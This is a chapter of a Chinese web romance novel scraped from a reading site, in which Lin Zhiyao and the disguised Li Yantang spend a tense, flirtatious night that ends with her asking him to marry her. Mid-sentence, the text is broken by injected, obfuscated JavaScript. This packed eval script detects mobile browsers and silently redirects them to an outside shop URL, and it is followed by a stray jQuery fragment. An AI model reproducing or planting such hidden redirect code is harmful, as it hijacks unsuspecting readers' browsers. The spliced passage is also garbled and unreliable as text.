默认冷灰
24号文字
方正启体

67. 甜

作者:南山怀竹本书字数:K更新时间:
    林知夭推着黎彦棠的轮椅,往后院走。


    两人没进瀚海楼大堂,而是绕过侧边狭窄的甬道,走进了后院。


    后院里,先前烧烤架起的炉子不见了,满月嬷嬷早已将这里收拾得一尘不染。


    微风吹拂,绿植沙沙作响,附送来不知名的花香。


    靠后墙有两间小巧的房屋。


    先前只是作为杂物间和林知夭临时办公的地方。


    阿萨住进来后,林知夭特意请人重新装修了一下,改为两间卧室。


    阿萨与满月嬷嬷住了一间,另一间则是林知夭自己的。


    在古代,其实丫鬟都是与小姐同住的,就像满月嬷嬷住在阿萨房里一样。


    但许是身为现代人的习惯,林知夭向来不喜有人近身伺候,且弦月的身份也有问题。


    她索性大手一挥,让三个月都住到三楼去。


    后院里只留下她、阿萨和满月嬷嬷,很是清净。


    此时满月嬷嬷已经陪阿萨睡下了,四周漆黑一片,只在林知夭房门前留了盏灯。


    房门开启,一股属于少女的馨香飘散出来。


    黎彦棠神色微顿。


    先前那种,被人中途打断的,直冲心底的欲望,再次回来了。


    这很不对劲。


    不止是他,先前善信的表现也格外蹊跷。


    若是寻常人,也许会怀疑林知夭身上沾染了迷香媚药之类。


    然而黎彦棠久经江湖,他很清楚,林知夭身上并未被人动过任何手脚。


    所以……到底是怎么回事?


    他看得出,弦月先前故意在酒楼大堂里放了烟。


    对方是为了让林知夭带他去卧室,才闹出这么大动静的。


    再联系到如今的情况……


    这代表,弦月是希望他与阿夭之间发生点什么。


    可不过是暗结连理,偷尝禁果罢了。


    两人有赐婚圣旨,曝光此事除了伤害阿夭,损害他官声之外,于大周朝堂局势没有任何影响。


    弦月背后之人意在谋国,这样对他并无好处。


    黎彦棠明知,在搞清楚对方这么做的原因并做好应对之前,他本不该来的。


    然而他却还是来了。


    对方用的是阳谋,请君入瓮。


    可他不得不来。


    林知夭的安危,黎彦棠输不起。


    卧室有门槛,林知夭只好将轮椅停在房门前。


    她自己先走进去,点燃了灯烛。


    先前她便留意到,黎彦棠纯白的衣角,染上了几点血迹。


    他来之前受了伤吧?


    这么短的时间内,去而复返,定是还未及处理伤口。


    林知夭想想就有些心疼。


    这个人所在的位置,注定他每日的生活,充满惊涛骇浪腥风血雨,看他对伤势浑不在意的态度便知。


    她拿出备用的医药箱,朝还在门外轮椅上坐着的黎彦棠招手。


    “进来呀!还愣着干嘛?”


    见那人依然没什么动静,她有些恼怒。


    林知夭一手托着药箱,一手叉腰,表情气鼓鼓。


    “别装了,这里又没有旁人。”


    黎彦棠怔怔望着屋内的人。


    少女眸光清澈,身姿窈窕。


    芙蓉面,杨柳腰,肤如凝脂,被那暖黄的灯光一照,更显得姝色妍丽,容颜绝世。


    她让他别装了,她说这里没有旁人。


    这一刻,便是明知林知夭要表达的真实意思,不过是请他别再装瘸,赶紧进屋去换药。


    黎彦棠心底依然生出了几分绮念来,愣是从这句再正经不过的话里,听出了几分……诱惑与邀请。


    或者说,他其实是希望被林知夭诱惑与邀请。


    真是够了!


    黎彦棠从来不知道,从小在严格的礼教下长大,又深受戒律熏陶的自己,会有这般邪恶的一面。


    他先前决定跟林知夭来后院,是以为自己的控制力足够好;


    而此刻裹足不前,却因他忽然发觉,他根本控制不了。


    他太高估自己了。


    黎彦棠的喉结滚动了一下,语气里隐隐夹杂着自嘲。


    “不必了,我已经处理过了。”


    “阿夭,不是说请我喝茶吗?茶呢?”


    他的内息缓缓运转起来,压制心底升腾不休的邪念。


    这一刻他多想将那扇门关上,将那勾人的妖精关在里面,不见为静。


    然而他的视线,又贪婪地驻留在林知夭的脸上、身上,仿佛胶着一般,舍不得有半分松懈。


    隔着幂篱,林知夭也感受到了他的视线。


    那目光实在是太过炙热,所过之处,灼得她脸上、身上一片滚烫。


    她的脸色渐渐酡红起来,眼神也有些迷离,仿佛酒酿过的桃子。


    气氛实在是暧昧,以至于明明黎彦棠是拒绝的话,听起来却仿佛调情。


    林知夭不明白事情怎会进展到如此离谱的地步。


    他们明明还隔着几米的距离,她在室内,而他在室外,却能制造出如此缠绵悱恻的情境。


    真的够了!


    原本是想听他讲清事情真相,解释一直以来隐瞒她身份的缘由。


    可眼下林知夭却不想听了。


    她连一个字也听不进去!


    “砰”地一声,林知夭关上了门,也隔绝了两人之间的视线。


    她后背抵在门板上,大口呼吸着,心脏几乎要从胸腔里跳出来。


    “秦……黎彦棠。”


    她原本想喊秦砚,却想起对方如今是黎彦棠的扮相,又改了口。


    “你……不对劲,刚才善信也是,你们看我的眼神都很怪。”


    “所以,问题发生在我身上对不对?”


    “可是我什么都没做。”


    “这究竟为什么?到底是怎么回事?”


    她狠狠咬着牙,声音却软得带上了几分哭音。


    “黎彦棠,我……有些怕。”


    便是林知夭再迟钝,此时也察觉出了不对。


    今晚怪事太多,令她心力交瘁。


    林知夭很恐慌,所以本能地,她想朝最依赖的人求助。


    门关上的瞬间,黎彦棠身体后仰,脱力一般倒在了轮椅的靠背上。


    他身体略微一动,轮椅两边的扶手便化为了粉末。


    那是他刚刚运转内力导致的。


    “嗯,我知道。”


    他仰头,视线看向漫天星斗,缓缓吸气。


    清冷寂静的夜空,使头脑清晰,他以往的冷静终于回来了。


    “没关系,一切有我。”


    黎彦棠没再出声,门外一时有些静谧。


    而这份静谧,令林知夭感到恐慌。


    “黎彦棠,你……还在吗?”


    黎彦棠清冷的声音很快响起。


    “嗯,我在。”


    林知夭略微松了口气。


    “可以……等会儿再走吗?”


    她知道这个要求有些过分。


    黎彦棠身兼双重身份,眼下又正值多事之秋,他定然有很多事情需要处理。


    况且他又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972802|188561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    受了伤,伤口……还在渗血。


    然而今晚发生的事,又令林知夭成了惊弓之鸟,她的确很怕独处。


    “嗯,不走。”


    直到听到门外传来黎彦棠沉稳的回答,林知夭终于安下心。


    她咬唇,略微犹豫。


    “你的伤……”


    “小伤,无妨。”


    感受到林知夭的依赖,黎彦棠缓缓勾起唇角,安慰的话便自然说出口。


    “阿夭,莫慌,你先睡一会。”


    “待梅七回来,一切便可知晓。”


    “有我守着,没人能跨过你的房门。”


    他知道。


    她的恐惧,他全都知道!


    暖意忽地从心底涌上来,林知夭鼻子蓦地一酸。


    从察觉到自己身上的异样开始,她的心便悬着。


    直到听到黎彦棠承诺的那一刻。


    这一天的经历令她身心俱疲,所以当卸去防备之时,林知夭只觉得仿佛全身都散了架,差点一屁股坐倒在床榻上。


    熄下灯,院中朦胧的光影,从薄薄的窗纸间透进来,隐约能辨认出黎彦棠端坐的背影。


    便只是坐着,那人也显得相当高大。


    先前她怎会以为他身体孱弱的?


    当真是名副其实的演技派,若是在现代,估计还能当个影帝。


    林知夭“嗤”地笑出了声。


    黎彦棠有些无奈地跟着勾起唇角。


    “阿夭,睡了。”


    先前不还是一副强撑的困倦模样?


    这会让她去睡,她却又精神起来。


    “待会……梅七回了,还得叫醒你。”


    虽是责备的话,他语气里却透着纵容与宠溺,让林知夭心头满满地,泛着甜。


    “有些睡不着……”


    林知夭唇角高高翘起,肩膀往被褥里面缩了缩。


    “黎彦棠,你唱歌哄我好不好?”


    这可真的是得寸进尺。


    连林知夭自己都不知道,她竟是这般蹬鼻子上脸的人。


    但黎彦棠对她向来都好说话,今晚的气氛又这么好……


    门外沉默了半晌,就在林知夭以为他会拒绝的时候,黎彦棠叹息一声。


    “抱歉……阿夭,我不会。”


    是我不会,而非不愿。


    林知夭掩唇偷笑。


    “这样啊!那阿砚……可会乐器?”


    这是她第一次如此称呼黎彦棠,她不知黎彦棠是否乐意,语气里带着点忐忑。


    门外再次陷入默然。


    就在林知夭以为这个称呼不妥,打算改口道歉时,黎彦棠却轻笑出声。


    “抱歉,这个也不会。”


    他的声音里更添了几分暖意,语气也显得愈发温柔。


    “阿夭,今晚真的够了,你若要再玩火……”


    “我便只能……颂佛经给你听了。”


    林知夭“噗嗤”笑出了声,打着滚不住捶床。


    直到她累得上气不接下气,这才缓缓收敛了笑意。


    她从床上起身,推开窗。


    清冷的夜风灌进来,吹散了她脸上的红霞。


    林知夭觉得,自己此生从未如此郑重过。


    院中无人,黎彦棠早已卸下了从不离身的幂篱。


    那张完美如橱窗手办的容颜转向林知夭,眸光温柔如水,白衣飘飘欲仙。


    四目相对,炙热的情愫在彼此间蔓延。


    “阿砚……”


    林知夭轻声说。


    “娶我吧,我想要嫁给你了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)